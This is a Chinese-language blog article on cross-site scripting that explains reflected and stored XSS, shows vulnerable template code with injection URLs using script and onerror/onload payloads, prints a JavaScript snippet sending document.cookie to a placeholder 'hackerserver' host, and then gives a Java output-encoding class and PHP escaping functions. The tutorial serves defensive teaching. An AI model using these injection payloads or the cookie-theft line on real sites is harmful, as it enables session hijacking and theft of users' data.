`
maosheng
  • 浏览: 566297 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

XSS攻击原理与解决方法

web 
阅读更多
概述:

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

XSS 的本质是在服务器响应数据时,插入可执行代码,这些代码分别插在不同的位置上。

XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤,防御XSS,只要把控好输入与输出点,针对性地过滤,转义,就能杜绝XSS跨站漏洞。

XSS攻击是在用户的浏览器上执行的,其形成过程则是在服务器端页面渲染时,注入了恶意的HTML代码导致的。从MVC架构来说,是发生在View层,因此使用“输出编码”的防御方法更加合理,这意味着需要针对不同上下文的XSS攻击场景,使用不同的编码方式。


1)在HTML标签中输出变量
2)在HTML属性中输出变量
3)在Script标签中输出变量
4)在事件中输出变量
5)在CSS中输出变量
6)在URL中输出变量

攻击的条件:

实施XSS攻击需要具备两个条件:

一、需要向web页面注入恶意代码;

二、这些恶意代码能够被浏览器成功的执行。

看一下下面这个例子:


<div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')"

        code="var a = document.createElement('a');

        a.innerHTML= '执行了恶意代码';document.body.appendChild(a);

        //这这里执行代码

        ">
</div>

这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)

再来看一下面这段代码:

<div>

  <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" />

</div>


相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:

http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="

最终反射出来的HTML代码:

    <div>

    <img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
    </div>


也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:

http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="


根据XSS攻击的效果可以分为几种类型:

第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS”

反射型跨站脚本(Reflected Cross-site Scripting),主要是用于将恶意脚本附加到URL地址的参数中。

反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。他的特点是只在用户单击时触发,而且只执行一次,非持久化。

反射型XSS的危害往往不如持久型XSS,因为恶意代码暴露在URL参数中,并且时刻要求用户单击方可触发,稍微有点儿安全意识的用户可以轻易看穿该链接是不可信任。如此一来,反射型XSS的攻击成本要比持久型XSS高很多。


第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。存储型XSS通常也叫做“持久型XSS”。

持久型跨站脚本(Persistent Cross-site Scripting)也等于存储型跨站脚本(Stored Cross-site Scripting),比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全。

持久型XSS不需要用户去单击URL进行触发,所以它的危害比反射型XSS大,黑客可以利用它渗透网站、挂马、钓鱼......

XSS攻击能做些什么:

1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:


var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;


2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码:

解决方法:

XSS Filter一般是基于黑白名单的安全过滤策略,即把要处理的数据分成白名单和黑名单两大列表,白名单存放的是可信赖、对应用程序不构成威胁的数据列表,黑名单则相反。


一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

import java.net.URLEncoder;

/**
* 过滤非法字符工具类
*
*/
public class EncodeFilter {

    //过滤大部分html字符
    public static String encode(String input) {
        if (input == null) {
            return input;
        }
        StringBuilder sb = new StringBuilder(input.length());
        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);
            switch (ch) {
                case '&': sb.append("&amp;");
                    break;
                case '<': sb.append("&lt;");
                    break;
                case '>': sb.append("&gt;");
                    break;
                case '"': sb.append("&quot;");
                    break;
                case '\'': sb.append("&#x27;");
                    break;
                case '/': sb.append("&#x2F;");
                    break;
                default: sb.append(ch);
            }
        }
        return sb.toString();
    }

    //js端过滤
    public static String encodeForJS(String input) {
        if (input == null) {
            return input;
        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);

            // do not encode alphanumeric characters and ',' '.' '_'
            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||
                    ch >= '0' && ch <= '9' ||
                    ch == ',' || ch == '.' || ch == '_') {
                sb.append(ch);
            } else {
                String temp = Integer.toHexString(ch);

                // encode up to 256 with \\xHH
                if (ch < 256) {
                    sb.append('\\').append('x');
                    if (temp.length() == 1) {
                        sb.append('0');
                    }
                    sb.append(temp.toLowerCase());

                // otherwise encode with \\uHHHH
                } else {
                    sb.append('\\').append('u');
                    for (int j = 0, d = 4 - temp.length(); j < d; j ++) {
                        sb.append('0');
                    }
                    sb.append(temp.toUpperCase());
                }
            }
        }

        return sb.toString();
    }

    /**
     * css非法字符过滤
     * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
    */
    public static String encodeForCSS(String input) {
        if (input == null) {
            return input;
        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);

            // check for alphanumeric characters
            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||
                    ch >= '0' && ch <= '9') {
                sb.append(ch);
            } else {
                // return the hex and end in whitespace to terminate
                sb.append('\\').append(Integer.toHexString(ch)).append(' ');
            }
        }
        return sb.toString();
    }

    /**
     * URL参数编码
     * http://en.wikipedia.org/wiki/Percent-encoding
     */
    public static String encodeURIComponent(String input) {
        return encodeURIComponent(input, "utf-8");
    }

    public static String encodeURIComponent(String input, String encoding) {
        if (input == null) {
            return input;
        }
        String result;
        try {
            result = URLEncoder.encode(input, encoding);
        } catch (Exception e) {
            result = "";
        }
        return result;
    }

    public static boolean isValidURL(String input) {
        if (input == null || input.length() <  8 ) {
            return false;
        }
        char ch0 = input.charAt(0);
        if (ch0 == 'h') {
            if (input.charAt(1) == 't' &&
                input.charAt(2) == 't' &&
                input.charAt(3) == 'p') {
                char ch4 = input.charAt(4);
                if (ch4 == ':') {
                    if (input.charAt(5) == '/' &&
                        input.charAt(6) == '/') {

                        return isValidURLChar(input,7 );
                    } else {
                        return false;
                    }
                } else if (ch4 == 's') {
                    if (input.charAt(5) == ':' &&
                        input.charAt(6) == '/' &&
                        input.charAt(7) == '/') {

                        return isValidURLChar(input, 8 );
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            } else {
                return false;
            }

        } else if (ch0 == 'f') {
            if( input.charAt(1) == 't' &&
                input.charAt(2) == 'p' &&
                input.charAt(3) == ':' &&
                input.charAt(4) == '/' &&
                input.charAt(5) == '/') {

                return isValidURLChar(input, 6);
            } else {
                return false;
            }
        }
        return false;
    }

    static boolean isValidURLChar(String url, int start) {
        for (int i = start, c = url.length(); i < c; i ++) {
            char ch = url.charAt(i);
            if (ch == '"' || ch == '\'') {
                return false;
            }
        }
        return true;
    }

}


二、 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出

可以利用下面这些函数对出现xss漏洞的参数进行过滤

1、htmlspecialchars() 函数,用于转义处理在页面上显示的文本。

2、htmlentities() 函数,用于转义处理在页面上显示的文本。

3、strip_tags() 函数,过滤掉输入、输出里面的恶意标签。

4、header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览。

5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。

6、intval() 函数用于处理数值型参数输出页面中。

7、自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,如留言、小纸条。那么在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。

各语言示例:

   PHP的htmlentities()或是htmlspecialchars()。
   Python的cgi.escape()。
   ASP的Server.HTMLEncode()。
   ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
   Java的xssprotect(Open Source Library)。
   Node.js的node-validator。





分享到:
评论

相关推荐

    PHP如何防止XSS攻击与XSS攻击原理的讲解

    XSS攻击原理涉及Web应用程序如何处理用户输入的问题。在不经过适当过滤的情况下,用户输入的数据可能会被当作代码执行。比如,当一个Web表单用于收集用户信息,并将这些信息显示在页面上,如果开发者没有对这些信息...

    防止XSS攻击解决办法

    理解XSS攻击的原理和类型,结合实际应用,选择合适的防护策略,是保障Web应用安全的关键。通过Web.xml配置过滤器是其中一种简单实用的方法,但全面的安全措施应包括多个方面,以确保用户的浏览体验不受威胁。

    跨站脚本攻击XSS(Cross Site Script)的原理与常见场景分析

    XSS攻击的原理主要有以下几点: 1. 数据注入:攻击者将恶意脚本注入到由网站动态生成的页面中。这可能发生在用户输入的数据未经充分验证或过滤就被展示出来的地方,比如评论、论坛或搜索结果。 2. 脚本执行:当...

    XSS防攻击实现

    本文将深入探讨XSS攻击的原理,以及如何通过Java Spring框架中的InitBinder和自定义StringEscapeEditor类来实现有效的防御措施。 XSS攻击主要分为三种类型:反射型、存储型和DOM型。反射型XSS发生在用户点击含有...

    springboot整合XSS

    XSS攻击主要分为三种类型:反射型、存储型和DOM型。反射型XSS发生在用户点击含有恶意脚本的链接时,恶意代码会立即执行。存储型XSS则是在用户提交的数据被存储到服务器,并在后续页面展示时执行。DOM型XSS则利用了...

    XSS跨站脚本攻击原理与实践1

    实验报告详细记录了XSS攻击的各个阶段,包括实验环境设置、攻击测试、故障分析及解决方法。通过此次实验,学生不仅能理解XSS攻击的危害,还能学会如何在开发Web应用时采取防御措施,提升Web安全性。 实验表明,防止...

    前端顽疾--XSS漏洞分析与解决.ppt

    前端顽疾--XSS 漏洞分析与解决 一、前端顽疾--XSS 漏洞分析 XSS 漏洞是一种常见的前端安全问题,指的是攻击者在 Web 应用程序中注入恶意脚本,以欺骗用户或窃取用户信息。XSS 漏洞的危害非常高,黑客可以通过 XSS ...

    XSS跨站脚本攻击在Java开发中防范的方法

    #### XSS攻击原理与分类 XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的安全威胁,它利用Web应用程序的安全漏洞,将恶意脚本注入到合法的网页中,进而攻击最终用户。XSS攻击主要分为以下两种类型: 1. **...

    SpringBootXSS攻击过滤插件使用XSS是什么解决方案.docx

    当其他用户浏览此留言时,浏览器将执行这段JavaScript代码弹出警告框,这仅是最简单的XSS攻击形式之一。 #### 解决方案:XSS过滤机制 为了解决XSS问题,开发者需要采取多种策略来防止此类攻击的发生。具体措施包括...

    SpringBoot整合XssFilter,Jsoup等实现请求参数的过滤,处理Xss攻击及sql注入.zip

    原理过程 Springboot中会使用FilterRegistrationBean来注册Filter,Filter是Servlet规范里面的,属于容器范围,Springboot中没有web.xml,那Springboot中,不用管Filter是如何交给Ser......处理Xss攻击及sql注入.zip

    xss利用于挖掘

    根据给定的部分内容,我们可以进一步理解XSS攻击的具体实现方法。 ##### 方式一:使用AJAX技术发起XSS攻击 - **XMLHttpRequest对象的使用**:在不同浏览器环境下,创建XMLHttpRequest对象的方式有所不同。 - ...

    xss-platform.rar

    3. **实战演练**:11个模块涵盖了XSS攻击的常见场景,如反射型XSS、存储型XSS、DOM型XSS等,开发者可以通过实践操作,加深对XSS攻击原理和防范措施的理解。 4. **学习资源**:平台可能还包含了相关的学习资料和教程...

    XSS Attacks

    我们可以看到,《XSS Attacks: Cross Site Scripting Exploits and Defense》这本书不仅全面地覆盖了XSS攻击的基础知识、工具使用、理论探讨以及具体的攻击方法,而且还提供了许多实用的解决方案和常见问题解答。...

    xss-labs-master.zip(xss注入通关游戏/靶场)

    **XSS攻击原理** XSS攻击通常通过诱使用户点击含有恶意脚本的链接,或者提交包含恶意脚本的表单来实现。一旦脚本执行,攻击者可以获取用户的会话cookie、执行JavaScript代码、重定向用户到其他网站等。 **游戏/...

    web安全技术-实验七、跨站脚本攻击(xss)(反射型).doc

    通过实验,我们可以深入理解XSS攻击的工作原理,学习如何发现和利用这类漏洞。同时,了解了如何修复XSS漏洞,如对用户输入进行适当的转义和过滤,使用HTTP头部的Content-Security-Policy(CSP)来限制可以执行的脚本...

    JAVA防止XSS注入,附jar包

    首先,了解XSS攻击的基本原理。XSS攻击通常发生在Web应用中,当用户输入的数据未经适当验证和转义就被直接显示在其他用户浏览器上时,攻击者可以通过注入恶意JavaScript代码来执行攻击。攻击方式有反射型、存储型和...

    springboot2.x使用Jsoup防XSS攻击的实现

    XSS攻击的基本原理是攻击者通过注入恶意脚本到网页中,当受害者访问这些被篡改的网页时,恶意脚本会在用户的浏览器上下文中执行。为了防范这类攻击,开发者需要对用户输入的数据进行严格的过滤和转义处理。 在...

    跨站脚本攻击(XSS)presentation所有材料

    5. 防御策略:提供预防XSS攻击的方法,如输入验证、输出编码、使用HTTPOnly Cookie和Content Security Policy等。 录像部分可能包含: 1. 实战演示:展示一个真实的XSS攻击过程,帮助观众理解攻击者如何操作。 2. ...

Global site tag (gtag.js) - Google Analytics